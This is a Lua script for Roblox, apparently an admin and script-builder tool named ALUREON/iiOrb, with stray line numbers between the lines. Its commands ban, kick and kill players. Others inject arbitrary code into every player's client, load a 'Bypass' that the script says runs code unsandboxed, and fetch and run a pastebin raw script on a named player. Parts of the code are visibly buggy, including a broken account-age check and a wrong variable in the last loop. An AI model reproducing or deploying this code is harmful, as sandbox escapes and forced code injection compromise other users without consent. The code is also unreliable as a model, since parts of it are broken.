	local sub      = string.sub
842
	local lower    = string.lower
843
	if sub(msg,1,3)=='/e 'then
844
		msg = sub(msg,4)
845
	end
846
	if iiOrb.Admins[plr.Name]then
847
		for index,data in pairs(Commands)do
848
			if Prefix..data.Usage..Suffix == sub(lower(msg),1,string.len(Prefix)+string.len(data.Usage)+string.len(Suffix))then
849
				if iiOrb.Admins[plr.Name].Level >= data.Level then
850
					local y,n = ypcall(function()
851
						data.Func(sub(msg,string.len(Prefix)+string.len(data.Usage)+string.len(Suffix)+1), GetPlayer, plr)
852
					end)
853
					if not y then
854
						print_to(plr,"[Error]: a command related error has occured : "..n)
855
					end
856
				else
857
					print_to(plr,"[Error]: Your access level is to low for that command")
858
				end
859
			end
860
		end
861
	end
862
end local Chatted = API.Chatted
863
864
function API.BootCommands()--// Function that calls and injects all commands
865
866
	AddCommand("Test","tst","TEST TEST",1,function(Message,Collect_Players,Player)
867
		print_to(Player,"[ALUREON]: TEST")
868
	end)
869
870
	AddCommand("Commands","cmds","Gets commands",1,function(Message,Collect_Players,Player)
871
		print_to(Player,"Got Commands")
872
		print_to(Player,"---------------------------------------------------------------")
873
		for index,data in pairs(iiOrb.Chatted.Commands)do
874
			print_to(Player,"["..data.Name.."]-Level["..data.Level.."]-Usage:[\""..data.Usage.."\"]-Desc:["..data.Desc.."]")
875
			print_to(Player,"---------------------------------------------------------------")
876
		end
877
	end)
878
879
	AddCommand("Admins","admins","Gets admins",1,function(Message,Collect_Players,Player)
880
		print_to(Player,"Got admins")
881
		GetAdmins(Player)
882
	end)
883
884
	AddCommand("GetLogs","gl","Gets command logs",4,function(Message,Collect_Players,Player)
885
		GetLogs(Player)
886
	end)
887
888
	AddCommand('Kick','kick','Kicks a player from the server',3,function(Message, Collect_Players, Player)
889
		local Split = GetSplit(Message)
890
		local Plrs
891
		local Reason
892
		if Split == nil then
893
			 Plrs = Collect_Players(Message,Player)
894
			 Reason = nil
895
		else
896
			Plrs = Collect_Players(Message:sub(1,Split-1),Player)
897
			Reason = Message:sub(Split+1)
898
		end
899
		if #Plrs>0 then
900
			for _,Plr in pairs(Plrs) do
901
			    if Reason == nil or Reason == "" then Reason = "You have been kicked from this server"end
902
				Plr:Kick(Reason)
903
			end
904
		end
905
	end)
906
907
	AddCommand('Ban','ban','Bans a player from the server', 3, function(Message, Collect_Players, Player)
908
		local Split = GetSplit(Message)
909
		local Plrs
910
		local Reason
911
		if Split == nil then
912
			 Plrs = Collect_Players(Message,Player)
913
			 Reason = nil
914
		else
915
			Plrs = Collect_Players(Message:sub(1,Split-1),Player)
916
			Reason = tostring(Message:sub(Split+1))
917
		end
918
		if #Plrs>0 then
919
			for _,Plr in pairs(Plrs) do
920
			    if Reason == nil or Reason == "" then Reason = tostring("Being Banned") end
921
				--table.insert(iiOrb.Banned,tostring(Plr.Name)==tostring(Reason))
922
				iiOrb.Banned[Plr.Name]=tostring(Reason)
923
				Plr:Kick("You have been banned for "..tostring(Reason))
924
			end
925
		end
926
    end)
927
928
	AddCommand('Unban','unban','Unbans a player', 3, function(Message, Collect_Players, Player)
929
		for i,v in pairs(iiOrb.Banned)do
930
			if string.sub(string.lower(i),1,#Message)==string.lower(Message)then
931
				iiOrb.Banned[i]=nil
932
			end
933
		end
934
	end)
935
936
	AddCommand('Banned','banned','Shows banned table',2,function(Message, Collect_Players, Player)
937
		print_to(Player,"Got Banned")
938
		print_to(Player,"--------------------------------")
939
		for i,v in pairs(iiOrb.Banned)do
940
			print_to(Player,"["..tostring(i).."]: "..tostring(v))
941
			print_to(Player,"--------------------------------")
942
		end
943
	end)
944
945
	AddCommand('Sbexe',"sbexe","Sbexe to a Player",3,function(Message, Collect_Players, Player)
946
	    local Split = GetSplit(Message)
947
	    local Plrs  = Collect_Players(Message:sub(1,Split-1),Player)
948
	    local Command = Message:sub(Split+1)
949
	    if #Plrs>0 then
950
	        for index,data in pairs(Plrs)do
951
	            Sbexe(Command,data)--afk
952
	        end
953
	    end
954
	end)
955
956
	AddCommand('Loader','injl','Injects iiOrb loader to a player',3,function(Message, Collect_Players, Player)
957
		local Plrs = Collect_Players(Message,Player)
958
		if #Plrs > 0 then
959
			for i,v in pairs(Plrs)do
960
				print_to(v,"[ALUREON]: has issued a loader to you")
961
				InjectLoader(v)
962
			end
963
		end
964
	end)
965
966
	AddCommand('Theme','theme','Changes Orb theme',2,function(Message, Collect_Players, Player)
967
		ChangeTheme(Player,Message)
968
	end)
969
970
	AddCommand('Follow','fol','Makes orb follow a target or your self',2,function(Message, Collect_Players, Player)
971
		if #Message>0 then
972
			local Plrs = Collect_Players(Message,Player)
973
			if #Plrs >1 then print_to(Player,"[Error]: Only one player allowed") return end
974
			for index,data in pairs(Plrs)do
975
				Follow(true,data.Name)
976
			end
977
		else
978
			Follow(true,Player.Name)
979
		end
980
	end)
981
982
	AddCommand('Nofollow','nofol','Sets the or to no follow',2,function(Message, Collect_Players, Player)
983
		Follow(false,"")
984
	end)
985
986
	AddCommand('Shutdown','sd','Shuts down the server',3,function(Message, Collect_Players, Player)
987
		for i,v in pairs(game:GetService('Players'):children())do
988
			v:Kick('This server has shutdown')
989
		end
990
	end)
991
	AddCommand('Access Level','setl','Sets the access level of a plr',1,function(Message, Collect_Players, Player)
992
		local Split = GetSplit(Message)
993
		local Plrs  = Collect_Players(Message:sub(1,Split-1),Player)
994
		local Level = tonumber(Message:sub(Split+1))
995
		if #Plrs>0 then
996
			for index,data in pairs(Plrs)do
997
				if Level > iiOrb.Admins[data.Name].Level and iiOrb.Admins[data.Name].Level >= iiOrb.Admins[Player.Name].Level then
998
					print_to(data,"[Error]: You cant set your level higher then your own")
999
				else
1000
					print("[ALUREON]: Has set "..data.Name.."'s Access level to ["..Level.."]")
1001
                    iiOrb.Admins[data.Name].Level = tonumber(Level)
1002
				end
1003
			end
1004
		end
1005
	end)
1006
1007
	AddCommand('Bypass','bypass','Loads a _G function giving a new env',3,function(Message, Collect_Players, Player)
1008
		local newEnv = getfenv(1)
1009
		newEnv.script = nil
1010
		newEnv.warn = print
1011
		newEnv.print = print
1012
		newEnv.print_to = print_to
1013
		newEnv.broadcast = broadcast
1014
		rawset(_G,"Bypass",function()
1015
			return newEnv
1016
		end)
1017
		broadcast('[ALUREON]: Has Loaded non-local bypass use setfenv(1,_G.Bypass()) to run unsandboxed code')
1018
	end)
1019
AddCommand('Kill player','kp','Kills a player',2,function(Message,Player)
1020
  workspace:FindFirstChild(Message).Head:Explode()
1021
   end)
1022
	AddCommand('Lock','lock','Sets the status of Scripting lock',3,function(Message, Collect_Players, Player)
1023
		if #Message>0 then
1024
			if Message:lower() == 'true' then
1025
				if iiOrb.Blocker.LocalBlock == true and iiOrb.Blocker.LocalBlock == true then
1026
					print_to(Player,"[ALUREON]: Scripting is already locked")
1027
				else
1028
					iiOrb.Blocker.LocalBlock = true
1029
					iiOrb.Blocker.GlobalBlock = true
1030
					print('[ALUREON]: Is locking Scripting')
1031
				end
1032
			elseif Message:lower()=='false' then
1033
				if iiOrb.Blocker.LocalBlock == false and iiOrb.Blocker.LocalBlock == false then
1034
					print_to(Player,"[ALUREON]: Scripting is already unlocked")
1035
				else
1036
					iiOrb.Blocker.LocalBlock = false
1037
					iiOrb.Blocker.GlobalBlock = false
1038
					print('[ALUREON]: Is unlocking Scripting')
1039
				end
1040
			end
1041
		end
1042
	end)
1043
AddCommand('Set Speed','spd','Sets speed',3,function(Message, Collect_Players, Player)
1044
	local n = tonumber(Message)
1045
if type(n) == 'number' then
1046
Settings.Rotation.Speed = n
1047
end
1048
end)
1049
AddCommand('Set bounce','setb','Sets the bounce value of iiOrb.',3,function(Message,Player)
1050
	local bouncev = tonumber(Message)
1051
	if type(bouncev) == 'number' then
1052
	Settings.Rotation.Bounce = tonumber(Message)
1053
	end
1054
end)
1055
1056
1057
	AddCommand('Hide','hide','hides or shows the orb',2,function(Message, Collect_Players, Player)
1058
		if #Message>0 then
1059
			if Message:lower() == 'true'then
1060
				ChangeTheme(Player,'hidden')
1061
			elseif Message:lower()== 'false' then
1062
				ChangeTheme(Player,'normal')
1063
			end
1064
		end
1065
	end)
1066
1067
	AddCommand('Get Saves','gs','Get saves',4,function(Message, Collect_Players, Player)
1068
		GetSavedScripts(Player)
1069
	end)
1070
1071
--[[	AddCommand('Get Database','getd','Gets data from database',5,function(Message, Collect_Players, Player)
1072
		--[[local Data = rbxdb:GetAllData()
1073
		if type(Data)=='table'then
1074
			for i,v in pairs(Data)do wait(.1)
1075
				print_to(Player,tostring(i)..":"..tostring(v))
1076
			end
1077
		end
1078
	end)]]--]]--
1079
1080
	AddCommand('Console','sc','Gives Server Console',5,function(Message, Collect_Players, Player)
1081
		GiveServerConsole(Player)
1082
	end)
1083
	AddCommand('Script Inject','sbinject','Injects a script to all players (Say the script like ;sbinject-game.Players.LocalPlayer:Remove()', 5, function(Message, Collect_Players, Player)
1084
1085
1086
local children = game.Players:GetChildren()
1087
for i = 1, #children do
1088
Sbexe("remove/iiOrbEXE",children[i].Name)
1089
wait()
1090
Sbexe("create/iiOrbEXE",children[i].Name)
1091
wait()
1092
Sbexe("edit/iiOrbEXE",children[i].Name)
1093
wait()
1094
Sbexe(Message,children[i].Name)
1095
wait()
1096
Sbexe("exit/",children[i].Name)
1097
Sbexe("run/iiOrbEXE",children[i].Name)
1098
Sbexe('remove/iiOrbEXE',children[i].Name)
1099
end
1100
end)
1101
1102
	AddCommand('Get Garbage','getg','Gets an Array of Garbage Data',2,function(Message, Collect_Players, Player)
1103
		GetGarbage(Player)
1104
	end)
1105
    
1106
    
1107
AddCommand('grs','grs','Gets all the running scripts',2e9,function(Message, Collect_Players, Player)
1108
          print_to(Player,"Got Running scripts")
1109
for index, child in pairs(workspace:GetChildren()) do
1110
    --print(index, child.Name)
1111
    wait(.1)
1112
    print_to(Player,child.Name)
1113
    end
1114
        end)
1115
    
1116
	AddCommand('Safe Exe','sexe','Executes safe code',3,function(Message, Collect_Players, Player)
1117
		if #Message > 0 then
1118
			SafeExe(Message,Player)
1119
		end
1120
	end)
1121
	AddCommand('Kill Rot','kill','Kills the orb rot if its a emergency',4,function(Message, Collect_Players, Player)
1122
		iiOrb.__STATUS = not iiOrb.__STATUS
1123
		if not game.Workspace:FindFirstChild("\5\5\5\5Solar\5\5is\5\5\5\5")then
1124
			SpawnOrb()
1125
		end
1126
end)
1127
AddCommand('SmoothLoad','sml','Loads some terrain [GWC Approved]',3,function(Message,Player)
1128
	if game.Players:FindFirstChild(Message) then
1129
		Sbexe([[hl/http://pastebin.com/raw.php?i=ctyyEdQp]],Message)
1130
		--Created by GuyWithACleverName
1131
	else
1132
	end end)
1133
	AddCommand('test','tst','Just a testing command',3,function(Message)
1134
			for i,v in pairs(game.Players:GetPlayers()) do
1135
				Sbexe([[print("[ALUREON] TEST WORKS! ALUREON IS GOOD."]],v)
1136
			end
1137
		end)
1138
1139
1140
	print("[ALUREON]: Has finished booting commands")
1141
end local BootCommands = API.BootCommands
1142
1143
function API.Connect(plr)
1144
	if type(plr)~='userdata'then return end
1145
1146
	local Allowed_YoungPlrs = {"xDarkScripter","Fuust","lnvertious","error18","GalacticParadox",}
1147
	if plr.AccountAge/365 < .5 then
1148
		for i,v in pairs(Allowed_YoungPlrs)do
1149
			if not plr.Name == v then
1150
				plr:Kick("[ALUREON]: Sorry, your ROBLOX account age is to young to join this server.")
1151
			end
1152
		end
1153
	end
1154
1155
	if iiOrb.Banned[plr.Name]then Sbexe('g/ns nl ns nl ns nl ns nl',plr) plr:remove()end--Kick(iiOrb.Banned[plr.Name]) end
1156
1157
	if not iiOrb.Admins[plr.Name]then
1158
		print_to(plr,"[ALUREON]: Has identifyed you as a ["..iiOrb.Levels[1].."]")
1159
		print("[ALUREON]: connect "..plr.Name.." as a ["..iiOrb.Levels[1].."]")
1160
		iiOrb.Admins[plr.Name] = {Level=1}
1161
	elseif iiOrb.Admins[plr.Name]then
1162
		print_to(plr,"[ALUREON]: Has identified you as a ["..iiOrb.Levels[iiOrb.Admins[plr.Name].Level].."]")
1163
	end
1164
	ConnectLogger(plr)
1165
	plr.Chatted:connect(function(msg)
1166
		Chatted(plr,msg)
1167
	end)
1168
end local Connect = API.Connect
1169
1170
--// Bootstrapper functions
1171
1172
function Bootstrap:Boot()
1173
	local DeploymentID = Generate(math.random(1,50)*2/3)
1174
	--// Bootup
1175
	broadcast("[ALUREON]: Has started booting up")
1176
	SpawnOrb()
1177
	Rotate()
1178
	BootCommands()
1179
	for i,v in pairs(game:GetService('Players'):children())do
1180
		Connect(v)
1181
	end
1182
1183
	game:GetService('Players').PlayerAdded:connect(function(plr)
1184
		wait(.5)
1185
		Connect(plr)
1186
	end)
1187
1188
	game.Workspace.DescendantAdded:connect(function(obj)
1189
		if obj.ClassName == "Script" then
1190
			if iiOrb.Blocker.GlobalBlock == true then
1191
				obj.Disabled = true
1192
				obj:Destroy()
1193
			end
1194
		elseif obj.ClassName == "LocalScript" then
1195
			if iiOrb.Blocker.LocalBlock == true then
1196
				obj.Disabled = true
1197
				obj:Destroy()
1198
			end
1199
		end
1200
	end)
1201
	--game.DescendantAdded:connect(function(instance)
1202
		--if iiOrb.Blocker.LagBlocker== true then
1203
			--if iiOrb.LagBlockedInstances[instance.ClassName]then
1204
				--instance:Destroy()
1205
			--end
1206
		--end
1207
	--end)
1208
1209
1210
1211
	print("[ALUREON]: Has booted successfully")
1212
	broadcast("[ALUREON]: Has deployed with ID: "..DeploymentID.."")
1213
--	rbxdb:SetValue("[iiOrb DEPLOYMENT]",DeploymentID)
1214
end
1215
1216
if script.ClassName == 'Script'then
1217
	if not game.Workspace:FindFirstChild("\5\5\5\5Solar\5\5is\5\5\5\5")then
1218
		local y,n = pcall(function()
1219
		    iiOrb.API.Bootstrap:Boot()
1220
		end)if not y then print('{ERROR}: '..n)end
1221
	end
1222
elseif script.ClassName == 'ModuleScript'then
1223
	return iiOrb.Api.Bootstrap:Boot()
1224
end
1225
ChangeTheme('alu','666')
1226
broadcast("Welcome to ALUREON. \n Credits go to FallingVortex for the idea and Opligitory for the functions and code. \n And I reall forget to credit people sometimes XD --Control22") -- dont use [[ ]] it filters \ -error18
1227
game.Players.PlayerAdded:connect(function(plr)
1228
	Sbexe('create/RUNME',plr)
1229
	Sbexe('edit/RUNME',plr)
1230
	Sbexe([[warn'Welcome to OXsb, this was generated by ALUREON.]],plr)
1231
	Sbexe([[exit/]],plr)
1232
	Sbexe([[run/RUNME]],plr)
1233
end)
1234
for i,v in pairs(game.Players:GetPlayers'') do	
1235
	Sbexe('create/RUNME',plr)
1236
	Sbexe('edit/RUNME',plr)
1237
	Sbexe([[warn'Welcome to OXsb, this was generated by ALUREON.']],plr)
1238
	Sbexe([[exit/]],plr)
1239
	Sbexe([[run/RUNME]],plr)
1240
	end